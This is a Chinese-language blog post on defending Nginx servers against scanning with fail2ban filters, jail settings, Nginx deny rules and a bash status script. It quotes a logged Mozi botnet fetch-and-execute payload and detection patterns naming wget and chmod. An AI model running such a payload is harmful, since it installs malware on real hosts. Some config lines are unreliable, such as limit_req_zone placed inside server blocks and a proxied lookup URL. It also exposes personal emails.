前言:
这是上一编的延续:
< OS 有关 4 台 Ubuntu VPSs 正在被攻击:ssh > 记录、分析、防护的过程 配置 ufw Fail2Ban iptables 保护网络上的主机
上一编描述的是 ssh 的防御,下面是关于攻击 NGINX 的防御。
Nginx 正在被攻击 (实践:BJT)
通过以下几种方式来发现网络攻击
- 查看访问日志
- 查看错误日志
- 分析异常访问模式
sudo tail -n 200 /var/log/nginx/access.log
sudo tail -n 200 /var/log/nginx/error.log
sudo grep "404\|403\|500" /var/log/nginx/access.log | tail -50
1. 典型的攻击特征:
从 /var/log/nginx/access.log 观察到:
1)PHP 信息泄露 、敏感文件扫描
在日志中见到:
/phpinfo.php, /info.php, /test.php, /debug.php, /system_info.php, /diagnostics.php, /status.php, /_profiler/phpinfo, /index.php?info
/.env, /.env.production, /.env.local, /.env.development, /.git/, /.github/, /.docker/, /.AWS_/credentials, /.aws/credentials/login/, /config/.env, /app/.env
2)目录遍历攻击
尝试访问常见的敏感目录:/admin/, /config/, /uploads/, /backup/, /var/www/, /tmp/, /logs/, /data/, /node_modules/, /api/, /public/
3) 恶意载荷注入
27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips
典型的 Mozi 僵尸网络攻击尝试
4)RDP 攻击
\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr
从 /var/log/nginx/error.log 看到:
5)Web应用扫描
2025/06/12 18:45:45 [error] 12578#12578: *145 "/var/www/html/solr/index.html" is not found (2: No such file or directory), client: 45.156.129.122, server: bjt.daven.us, request: "GET /solr/ HTTP/1.1", host: "49.233.202.43"
/partymgr/control/main (Apache OFBiz)
/jasperserver/login.html (JasperReports)
/solr/ (Apache Solr)
/owncloud/status.php (ownCloud)
/geoserver/web/ (GeoServer)
6)登录页面扫描 (类似 2 目录遍历攻击)
/admin/, /login.html, /login.do
/WebInterface/, /owa/ (Outlook Web Access)
/OA_HTML/AppsLocalLogin.jsp (Oracle Applications)
7)特定漏洞扫描
/Telerik.Web.UI.WebResource.axd (Telerik控件漏洞)
/sitecore/shell/sitecore.version.xml (Sitecore CMS)
/cgi-bin/authLogin.cgi (CGI漏洞)
2. 解决办法
利用 F2B
1)扫描检测过滤器 /etc/fail2ban/filter.d/nginx-scan.conf
sudo vi /etc/fail2ban/filter.d/nginx-scan.conf
[Definition]
failregex = ^<HOST> .* "(GET|POST) [^"]*(?:phpinfo|\.env|\.git|admin|config|backup|uploads|\.aws|debug|status|system_info|diagnostics|test\.php|info\.php)[^"]*" .*$
^<HOST> .* "(GET|POST) [^"]*(?:partymgr|jasperserver|solr|owncloud|geoserver|WebInterface|aspera|zabbix)[^"]*" .*$
^<HOST> .* "(GET|POST) [^"]*(?:login\.html|login\.do|login\.jsp|authLogin\.cgi|AppsLocalLogin\.jsp)[^"]*" .*$
^<HOST> .* "(GET|POST) [^"]*(?:Telerik\.Web\.UI|sitecore\.version\.xml|cgi-bin|showLogin\.cc|xmldata)[^"]*" .*$
^<HOST> .* "(GET|POST) [^"]*(?:var/www|tmp|logs|data|node_modules|\.docker|\.github)[^"]*" .*$
^<HOST> .* "(GET|POST) /[a-zA-Z0-9]{4,8}(?:\s|/|$)[^"]*" .*$
^<HOST> .* "[^"]*(?:wget|chmod|/tmp/|Mozi\.m|mstshash)[^"]*".*$
ignoreregex =
2)创建 404 扫描检测过滤器 /etc/fail2ban/filter.d/nginx-404-scan.conf
sudo vi /etc/fail2ban/filter.d/nginx-404-scan.conf
[Definition]
failregex = ^.* \[error\] .* open\(\) "/var/www/html/.*" failed \(2: No such file or directory\), client: <HOST>.*$
^.* \[error\] .* ".*/index\.html" is not found \(2: No such file or directory\), client: <HOST>.*$
ignoreregex =
3)常用 APP 扫描检测过滤 /etc/fail2ban/filter.d/nginx-app-scan.conf
[Definition]
failregex = ^<HOST> .* "(GET|POST) /.*(?:wordpress|wp-admin|wp-login|drupal|joomla|phpmyadmin)" .*$
^<HOST> .* "(GET|POST) /.*(?:sugar_version\.json|cf_scripts|favicon-32x32\.png|identity)" .*$
^<HOST> .* "(GET|POST) /.*(?:helpdesk|internal_forms_authentication|PTZOptics)" .*$
ignoreregex =
4)DELETED 访问扫描检测过滤 /etc/fail2ban/filter.d/v2ray-access.conf
[Definition]
# DELETED 访问日志监控
failregex = ^.* \[Info\] .* email: .* from <HOST>:\d+ rejected .*$
^.* \[Warning\] .* from <HOST>:\d+ rejected .*$
^.* \[Error\] .* from <HOST>:\d+ .*$
ignoreregex = ^.* email: (?:albertinaluan@gmail\.com|BJN_Dircet|JPT_Dircet|USW_Dircet|dave2\.nian@gmail\.com|bj\.lifeng@gmail\.com|Nancy Liu|sukey\.feng@gmail\.com) .*$
5)DELETED error /etc/fail2ban/filter.d/v2ray-error.conf
[Definition]
# V2Ray 错误日志监控
failregex = ^.* \[Error\] .* failed to handler mux client connection > .* > proxy/vmess/inbound: failed to transfer request > common/buf: readv failed > .* from <HOST>:\d+.*$
^.* \[Error\] .* transport/internet/websocket: failed to read request > .* from <HOST>:\d+.*$
^.* \[Error\] .* proxy/vmess/inbound: invalid request version: .* from <HOST>:\d+.*$
^.* \[Error\] .* proxy/vmess/inbound: invalid user .* from <HOST>:\d+.*$
ignoreregex =
6)DETETED 连接 扫描检测过滤 /etc/fail2ban/filter.d/DELETED-connection-limit.conf
[Definition]
# 检测同一IP的过度连接
failregex = ^.* \[Info\] .* from <HOST>:\d+ .*$
ignoreregex = ^.* email: (?:albertinaluan@gmail\.com|BJN_Dircet|JPT_Dircet|USW_Dircet|dave2\.nian@gmail\.com|bj\.lifeng@gmail\.com|Nancy Liu|sukey\.feng@gmail\.com) .*$
7)在 jail 配置中加入以上 6 个过滤器
这是 BJT 使用的 ufw+iptables
sudo vi /etc/fail2ban/jail.local
包含了之前的 2 个过滤器
[DEFAULT]
bantime = -1
findtime = 1800
maxretry = 3
backend = auto
banaction = iptables-multiport
banaction_allports = iptables-allports
ignoreip = 127.0.0.1/8 ::1
[sshd]
enabled = true
port = 9922
filter = sshd
logpath = /var/log/auth.log
backend = auto
bantime = -1
findtime = 1800
maxretry = 3
action = iptables-multiport[name=SSH, port=9922, protocol=tcp]
[ssh-scanner]
enabled = true
port = 9922
filter = ssh-scanner
logpath = /var/log/auth.log
maxretry = 2
bantime = -1
findtime = 600
action = iptables-multiport[name=SSH-SCANNER, port=9922, protocol=tcp]
[nginx-scan]
enabled = true
port = http,https,7033
logpath = /var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/nginx/*.access.log
filter = nginx-scan
maxretry = 2
bantime = -1
findtime = 300
action = iptables-multiport[name=nginx-scan, port="http,https,7033", protocol=tcp]
[nginx-404-scan]
enabled = true
port = http,https,7033
logpath = /var/log/nginx/error.log
/var/log/nginx/*.error.log
filter = nginx-404-scan
maxretry = 10
bantime = -1
findtime = 600
action = iptables-multiport[name=nginx-404-scan, port="http,https,7033", protocol=tcp]
[nginx-bjn-scan]
enabled = true
port = http,https
logpath = /var/log/nginx/bjn.bestherbs.cn.access.log
filter = nginx-bjn-scan
maxretry = 3
bantime = -1
findtime = 600
action = iptables-multiport[name=nginx-bjn-scan, port="http,https", protocol=tcp]
# 注释掉不存在日志文件的 jail
# [nginx-bjt-scan]
# enabled = false
# port = 7033,http,https
# logpath = /var/log/nginx/bjt.daven.us.access.log
# filter = nginx-bjt-scan
# maxretry = 1
# bantime = -1
# findtime = 300
# action = iptables-multiport[name=nginx-bjt-scan, port="7033,http,https", protocol=tcp]
[DDD-access-protection]
enabled = true
port = 7033
filter = DDD-access
logpath = /var/log/DDD/access.log
maxretry = 3
bantime = -1
findtime = 600
action = iptables-multiport[name=DDD-access, port="7033", protocol=tcp]
[DDD-error-protection]
enabled = true
port = 7033
filter = DDD-error
logpath = /var/log/DDD/error.log
maxretry = 1
bantime = -1
findtime = 300
action = iptables-multiport[name=DDD-error, port="7033", protocol=tcp]
[DDD-connection-limit]
enabled = true
port = 7033
filter = DDD-connection-limit
logpath = /var/log/DDD/access.log
maxretry = 20
bantime = -1
findtime = 300
action = iptables-multiport[name=DDD-limit, port="7033", protocol=tcp]
8)增强 Nginx 安全配置
编辑 /etc/nginx/sites-enabled/ 里面的网站配置文件,如果有多个,都要编辑。
为网站添加或更新以下内容 ( 因展示 nginx 文件s 风险很大,只列出常用的配置并在配置中注释 )
server {
# 隐藏 Nginx 版本
server_tokens off;
# 阻止常见应用程序路径
location ~ ^/(admin|login|wp-admin|wp-login|phpmyadmin|solr|geoserver|jasperserver|owncloud|partymgr|zabbix|aspera)/ {
deny all;
return 404;
}
# 阻止敏感文件
location ~ /\.(env|git|docker|aws) {
deny all;
return 404;
}
# 阻止特定扩展名
location ~ \.(jsp|do|cgi|exp)$ {
deny all;
return 404;
}
# 阻止随机字符串扫描
location ~ ^/[a-zA-Z0-9]{4,8}$ {
deny all;
return 404;
}
# 限制请求方法
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return 405;
}
# 阻止某些 User-Agent
if ($http_user_agent ~* (wget|curl|python|scanner|bot)) {
return 403;
}
# 限制请求频率
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/m;
limit_req zone=general burst=20 nodelay;
# 针对扫描的严格限制
location ~ /(phpinfo|admin|config|backup) {
limit_req_zone $binary_remote_addr zone=strict:10m rate=1r/m;
limit_req zone=strict burst=1 nodelay;
deny all;
return 404;
}
}
因为涉及安全的配置,以免被利用,不展示完整内容。
总结:
fail2ban 是一个基于系统、应用日志的过滤器,用于通过扫描日志文件来检测恶意行为(例如多次密码尝试失败),然后自动更新防火墙规则来暂时或永久性地封禁恶意 IP 地址。
在这篇文章,展示对两个应用:nginx (网站) 与 DELETED 的配置。
还有 3 台主机需要配置,是不是要用个脚本实现配置。
附件 一:fail2ban-status.sh ver2.0
主要更新:加入GEO缓存,多IP(默认5个)同时查询,使用 ipinfo.io 替代whois,加入多参数
命令 | 功能 |
./fail2ban-status.sh | 缓存 + 并行查询 |
./fail2ban-status.sh --fast | 快速模式 超时+多并发 |
./fail2ban-status.sh --no-geo | 禁用地理位置查询 |
./fail2ban-status.sh --clear-cache | 缓存清理 |
./fail2ban-status.sh --save | 报告保存 |
#!/bin/bash
# Enhanced Fail2ban Status Display Script
# Shows banned IPs, attack statistics, and security insights
# Version: 2.0 By Dave and Claude
# Color codes for better visibility
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color
# Configuration
SHOW_GEOIP=true
MAX_RECENT_BANS=10
LOG_FILE="/var/log/fail2ban.log"
GEO_CACHE_FILE="/tmp/fail2ban_geo_cache"
GEO_CACHE_EXPIRE=86400 # 24 hours in seconds
MAX_PARALLEL_REQUESTS=5
GEO_TIMEOUT=2
# Handle command line options
case "$1" in
--no-geo)
SHOW_GEOIP=false
;;
--fast)
SHOW_GEOIP=true
GEO_TIMEOUT=1
MAX_PARALLEL_REQUESTS=10
;;
--help)
echo ""
echo "Usage Options:"
echo " $0 # Standard report"
echo " $0 --fast # Fast mode (more parallel requests, shorter timeout)"
echo " $0 --save # Save report to file"
echo " $0 --no-geo # Disable geolocation lookup"
echo " $0 --clear-cache # Clear geolocation cache"
echo " $0 --help # Show this help"
exit 0
;;
--clear-cache)
if [[ -f "$GEO_CACHE_FILE" ]]; then
rm "$GEO_CACHE_FILE"
echo "✅ Geolocation cache cleared"
else
echo "⚠️ No cache file found"
fi
exit 0
;;
esac
# Function to print colored output
print_colored() {
local color=$1
local text=$2
echo -e "${color}${text}${NC}"
}
# Function to initialize geo cache
init_geo_cache() {
if [[ ! -f "$GEO_CACHE_FILE" ]]; then
touch "$GEO_CACHE_FILE"
fi
# Clean expired cache entries
if [[ -f "$GEO_CACHE_FILE" ]]; then
current_time=$(date +%s)
temp_cache=$(mktemp)
while IFS='|' read -r ip timestamp country org; do
if [[ -n "$timestamp" && $((current_time - timestamp)) -lt $GEO_CACHE_EXPIRE ]]; then
echo "$ip|$timestamp|$country|$org" >> "$temp_cache"
fi
done < "$GEO_CACHE_FILE"
mv "$temp_cache" "$GEO_CACHE_FILE"
fi
}
# Function to get cached geo info
get_cached_geo() {
local ip=$1
if [[ -f "$GEO_CACHE_FILE" ]]; then
grep "^$ip|" "$GEO_CACHE_FILE" | tail -1 | cut -d'|' -f3-
fi
}
# Function to cache geo info
cache_geo_info() {
local ip=$1
local country=$2
local org=$3
local timestamp=$(date +%s)
echo "$ip|$timestamp|$country|$org" >> "$GEO_CACHE_FILE"
}
# Function to get country from IP (optimized with cache)
get_country_info() {
local ip=$1
local country=""
local org=""
if [[ "$SHOW_GEOIP" == "true" ]]; then
# Check cache first
cached=$(get_cached_geo "$ip")
if [[ -n "$cached" ]]; then
country=$(echo "$cached" | cut -d'|' -f1)
org=$(echo "$cached" | cut -d'|' -f2)
else
# Perform lookup if not cached
if command -v curl >/dev/null 2>&1; then
local info=$(curl -s --connect-timeout $GEO_TIMEOUT --max-time $GEO_TIMEOUT "http://ipinfo.io/${ip}/json" 2>/dev/null)
if [[ $? -eq 0 && -n "$info" ]]; then
country=$(echo "$info" | grep -o '"country":"[^"]*"' | cut -d'"' -f4)
org=$(echo "$info" | grep -o '"org":"[^"]*"' | cut -d'"' -f4 | cut -d' ' -f2- | head -c 30)
fi
elif command -v whois >/dev/null 2>&1; then
country=$(timeout $GEO_TIMEOUT whois "$ip" 2>/dev/null | grep -i "country:" | head -1 | awk '{print $2}' 2>/dev/null)
fi
# Cache the result
cache_geo_info "$ip" "$country" "$org"
fi
fi
if [[ -n "$country" && -n "$org" ]]; then
echo "($country - $org)"
elif [[ -n "$country" ]]; then
echo "($country)"
else
echo ""
fi
}
# Function to lookup multiple IPs in parallel
batch_geo_lookup() {
local ips=("$@")
local temp_dir=$(mktemp -d)
# Limit parallel requests
local count=0
for ip in "${ips[@]}"; do
# Check cache first
cached=$(get_cached_geo "$ip")
if [[ -n "$cached" ]]; then
echo "$ip|$cached" > "$temp_dir/$ip.result"
continue
fi
# Launch background lookup
{
local country=""
local org=""
if command -v curl >/dev/null 2>&1; then
# Use ipinfo.io API
local info=$(curl -s --connect-timeout $GEO_TIMEOUT --max-time $GEO_TIMEOUT "http://ipinfo.io/${ip}/json" 2>/dev/null)
if [[ $? -eq 0 && -n "$info" ]]; then
country=$(echo "$info" | grep -o '"country":"[^"]*"' | cut -d'"' -f4)
org=$(echo "$info" | grep -o '"org":"[^"]*"' | cut -d'"' -f4 | cut -d' ' -f2- | head -c 30)
fi
fi
# Fallback to faster whois if curl failed
if [[ -z "$country" ]] && command -v whois >/dev/null 2>&1; then
country=$(timeout $GEO_TIMEOUT whois "$ip" 2>/dev/null | grep -i "country:" | head -1 | awk '{print $2}' 2>/dev/null)
fi
# Cache the result
cache_geo_info "$ip" "$country" "$org"
echo "$ip|$country|$org" > "$temp_dir/$ip.result"
} &
count=$((count + 1))
if [[ $count -ge $MAX_PARALLEL_REQUESTS ]]; then
wait # Wait for current batch to complete
count=0
fi
done
wait # Wait for remaining jobs
# Collect results
for ip in "${ips[@]}"; do
if [[ -f "$temp_dir/$ip.result" ]]; then
cat "$temp_dir/$ip.result"
else
echo "$ip||" # Empty result
fi
done
rm -rf "$temp_dir"
}
# Function to format duration
format_duration() {
local seconds=$1
if [[ $seconds -lt 60 ]]; then
echo "${seconds}s"
elif [[ $seconds -lt 3600 ]]; then
echo "$((seconds/60))m $((seconds%60))s"
elif [[ $seconds -lt 86400 ]]; then
echo "$((seconds/3600))h $((seconds%3600/60))m"
else
echo "$((seconds/86400))d $((seconds%86400/3600))h"
fi
}
# Function to analyze attack patterns
analyze_attack_patterns() {
if [[ -f "$LOG_FILE" ]]; then
print_colored $CYAN "🔍 Attack Pattern Analysis:"
echo " ----------------------------------------"
# Most targeted services
print_colored $WHITE " Top Targeted Services:"
grep "Ban " "$LOG_FILE" | tail -100 | awk '{print $6}' | sed 's/\[//g' | sed 's/\]//g' | sort | uniq -c | sort -nr | head -5 | while read count service; do
echo " 📊 $service: $count attacks"
done
echo ""
# Attack frequency by hour
print_colored $WHITE " Attack Frequency (Last 24h):"
local current_hour=$(date +%H)
for hour in {0..23}; do
local hour_str=$(printf "%02d" $hour)
local attacks=$(grep "$(date +%Y-%m-%d) $hour_str:" "$LOG_FILE" 2>/dev/null | grep "Ban " | wc -l)
if [[ $attacks -gt 0 ]]; then
local bar=$(printf "%*s" $((attacks/5+1)) | tr ' ' '█')
echo " 🕐 ${hour_str}:00 [$attacks] $bar"
fi
done
echo ""
fi
}
# Function to show top attacking countries
show_top_countries() {
if [[ -f "$LOG_FILE" ]]; then
print_colored $CYAN "🌍 Top Attacking Countries (Last 100 bans):"
echo " ----------------------------------------"
temp_file=$(mktemp)
grep "Ban " "$LOG_FILE" | tail -100 | awk '{print $7}' | while read ip; do
country=$(get_country_info "$ip" | sed 's/[()]//g' | cut -d'-' -f1 | xargs)
if [[ -n "$country" ]]; then
echo "$country"
else
echo "Unknown"
fi
done > "$temp_file"
if [[ -s "$temp_file" ]]; then
sort "$temp_file" | uniq -c | sort -nr | head -5 | while read count country; do
echo " 🏳️ $country: $count attacks"
done
fi
rm -f "$temp_file"
echo ""
fi
}
# Main script starts here
clear
# Initialize geo cache
if [[ "$SHOW_GEOIP" == "true" ]]; then
init_geo_cache
fi
print_colored $PURPLE "================================================"
print_colored $PURPLE "🛡️ ENHANCED FAIL2BAN SECURITY STATUS REPORT"
print_colored $PURPLE "================================================"
# Check if script is run as root or with sudo
if [[ $EUID -ne 0 ]]; then
print_colored $YELLOW "⚠️ Note: Running without root privileges. Some features may be limited."
echo ""
fi
# Check if fail2ban is installed
if ! command -v fail2ban-client >/dev/null 2>&1; then
print_colored $RED "❌ Fail2ban is not installed or not in PATH"
exit 1
fi
# Check if fail2ban is running
if ! systemctl is-active --quiet fail2ban 2>/dev/null; then
print_colored $RED "❌ Fail2ban service is not running"
print_colored $YELLOW " Try: sudo systemctl start fail2ban"
exit 1
fi
# Get current time and uptime
print_colored $GREEN "📅 Report Time: $(date '+%Y-%m-%d %H:%M:%S')"
if command -v uptime >/dev/null 2>&1; then
print_colored $GREEN "⏰ System Uptime: $(uptime -p 2>/dev/null || uptime | awk '{print $3,$4}')"
fi
echo ""
# Show fail2ban version and status
f2b_version=$(fail2ban-client version 2>/dev/null | head -1)
print_colored $BLUE "🔧 $f2b_version"
print_colored $GREEN "✅ Fail2ban service is running"
echo ""
# Show overall status
print_colored $CYAN "📊 Jail Overview:"
fail2ban-client status 2>/dev/null | sed 's/^/ /' | while read line; do
if [[ "$line" == *"Number of jail"* ]]; then
print_colored $WHITE "$line"
else
echo "$line"
fi
done
echo ""
# Get all jail list
jails=$(fail2ban-client status 2>/dev/null | grep "Jail list:" | cut -d: -f2 | tr ',' '\n' | sed 's/^[ \t]*//' | sed 's/[ \t]*$//')
if [[ -z "$jails" ]]; then
print_colored $YELLOW "⚠️ No active jails found"
exit 0
fi
total_banned=0
total_failed=0
active_jails=0
# Loop through each jail
for jail in $jails; do
if [[ -n "$jail" && "$jail" != "" ]]; then
active_jails=$((active_jails + 1))
print_colored $BLUE "🏢 Jail: $jail"
echo " ----------------------------------------"
# Get jail status
status_output=$(fail2ban-client status "$jail" 2>/dev/null)
if [[ $? -ne 0 ]]; then
print_colored $RED " ❌ Failed to get status for jail: $jail"
continue
fi
# Extract data
currently_failed=$(echo "$status_output" | grep "Currently failed:" | awk '{print $NF}')
total_failed_jail=$(echo "$status_output" | grep "Total failed:" | awk '{print $NF}')
currently_banned=$(echo "$status_output" | grep "Currently banned:" | awk '{print $NF}')
total_banned_jail=$(echo "$status_output" | grep "Total banned:" | awk '{print $NF}')
banned_ips=$(echo "$status_output" | grep "Banned IP list:" | cut -d: -f2 | xargs)
# Display statistics with colors
echo " 📈 Current Failed: $currently_failed"
echo " 📊 Total Failed: $total_failed_jail"
if [[ $currently_banned -gt 0 ]]; then
print_colored $RED " 🚫 Currently Banned: $currently_banned"
else
print_colored $GREEN " ✅ Currently Banned: $currently_banned"
fi
echo " 📋 Total Banned: $total_banned_jail"
# Display banned IPs with enhanced info
if [[ -n "$banned_ips" && "$banned_ips" != "" ]]; then
print_colored $RED " 🔴 Banned IPs:"
# Convert banned_ips string to array
ip_array=($banned_ips)
# Batch lookup for better performance
if [[ "$SHOW_GEOIP" == "true" && ${#ip_array[@]} -gt 3 ]]; then
print_colored $YELLOW " 🔍 Looking up geolocation data..."
# Perform batch lookup
geo_results=$(batch_geo_lookup "${ip_array[@]}")
# Create associative array for quick lookup
declare -A geo_map
while IFS='|' read -r ip country org; do
if [[ -n "$country" && -n "$org" ]]; then
geo_map["$ip"]="($country - $org)"
elif [[ -n "$country" ]]; then
geo_map["$ip"]="($country)"
else
geo_map["$ip"]=""
fi
done <<< "$geo_results"
# Display results
for ip in "${ip_array[@]}"; do
geo_info="${geo_map[$ip]}"
# Check if IP is in private range
if [[ "$ip" =~ ^10\. ]] || [[ "$ip" =~ ^192\.168\. ]] || [[ "$ip" =~ ^172\.(1[6-9]|2[0-9]|3[0-1])\. ]]; then
print_colored $YELLOW " 🏠 $ip (Private Network) $geo_info"
else
print_colored $RED " 🌍 $ip $geo_info"
fi
done
else
# Single IP lookup for small lists
for ip in $banned_ips; do
geo_info=""
if [[ "$SHOW_GEOIP" == "true" ]]; then
geo_info=$(get_country_info "$ip")
fi
# Check if IP is in private range
if [[ "$ip" =~ ^10\. ]] || [[ "$ip" =~ ^192\.168\. ]] || [[ "$ip" =~ ^172\.(1[6-9]|2[0-9]|3[0-1])\. ]]; then
print_colored $YELLOW " 🏠 $ip (Private Network) $geo_info"
else
print_colored $RED " 🌍 $ip $geo_info"
fi
done
fi
else
print_colored $GREEN " ✅ No banned IPs currently"
fi
# Accumulate statistics
total_banned=$((total_banned + currently_banned))
total_failed=$((total_failed + total_failed_jail))
echo ""
fi
done
# Display totals with enhanced formatting
print_colored $PURPLE "================================================"
print_colored $WHITE "📊 Overall Statistics:"
print_colored $CYAN " 🏢 Active Jails: $active_jails"
if [[ $total_banned -gt 0 ]]; then
print_colored $RED " 🚫 Total Banned IPs: $total_banned"
else
print_colored $GREEN " ✅ Total Banned IPs: $total_banned"
fi
print_colored $YELLOW " 📈 Total Attack Attempts: $total_failed"
print_colored $PURPLE "================================================"
# Show recent attacks with enhanced details
if [[ -f "$LOG_FILE" ]]; then
echo ""
print_colored $CYAN "🕒 Recent Ban Activity (Last $MAX_RECENT_BANS):"
echo " ----------------------------------------"
recent_bans=$(tail -100 "$LOG_FILE" 2>/dev/null | grep "Ban " | tail -$MAX_RECENT_BANS)
if [[ -n "$recent_bans" ]]; then
echo "$recent_bans" | while IFS= read -r line; do
# Parse ban line
timestamp=$(echo "$line" | awk '{print $1, $2}')
jail=$(echo "$line" | awk '{print $6}' | sed 's/\[//g' | sed 's/\]//g')
ip=$(echo "$line" | awk '{print $7}')
geo_info=""
if [[ "$SHOW_GEOIP" == "true" ]]; then
geo_info=$(get_country_info "$ip")
fi
print_colored $YELLOW " 📅 $timestamp"
echo " 🏢 Jail: $jail | 🌍 IP: $ip $geo_info"
done
else
print_colored $GREEN " ✅ No recent ban activity"
fi
# Advanced analytics
echo ""
analyze_attack_patterns
show_top_countries
fi
# System resources check
if command -v df >/dev/null 2>&1 && command -v free >/dev/null 2>&1; then
echo ""
print_colored $CYAN "💻 System Resources:"
echo " ----------------------------------------"
# Disk usage for log directory
log_dir_usage=$(df -h "$(dirname "$LOG_FILE")" 2>/dev/null | tail -1 | awk '{print $5}' | sed 's/%//')
if [[ -n "$log_dir_usage" && $log_dir_usage -gt 80 ]]; then
print_colored $RED " 💾 Log Directory Usage: ${log_dir_usage}% (High!)"
else
print_colored $GREEN " 💾 Log Directory Usage: ${log_dir_usage}%"
fi
# Memory usage
mem_usage=$(free | grep '^Mem:' | awk '{printf "%.1f", ($3/$2)*100}')
if (( $(echo "$mem_usage > 80" | bc -l 2>/dev/null || echo 0) )); then
print_colored $RED " 🧠 Memory Usage: ${mem_usage}% (High!)"
else
print_colored $GREEN " 🧠 Memory Usage: ${mem_usage}%"
fi
fi
# Final status
echo ""
if [[ $total_banned -gt 0 ]]; then
print_colored $YELLOW "⚠️ Server is under attack but protection is active"
else
print_colored $GREEN "🛡️ Server security protection is running normally"
fi
print_colored $PURPLE "================================================"
# Optional: Save report to file
if [[ "$1" == "--save" ]]; then
report_file="/var/log/fail2ban-report-$(date +%Y%m%d-%H%M%S).txt"
# Re-run without colors and save
SHOW_GEOIP=false bash "$0" > "$report_file" 2>&1
print_colored $GREEN "📄 Report saved to: $report_file"
fi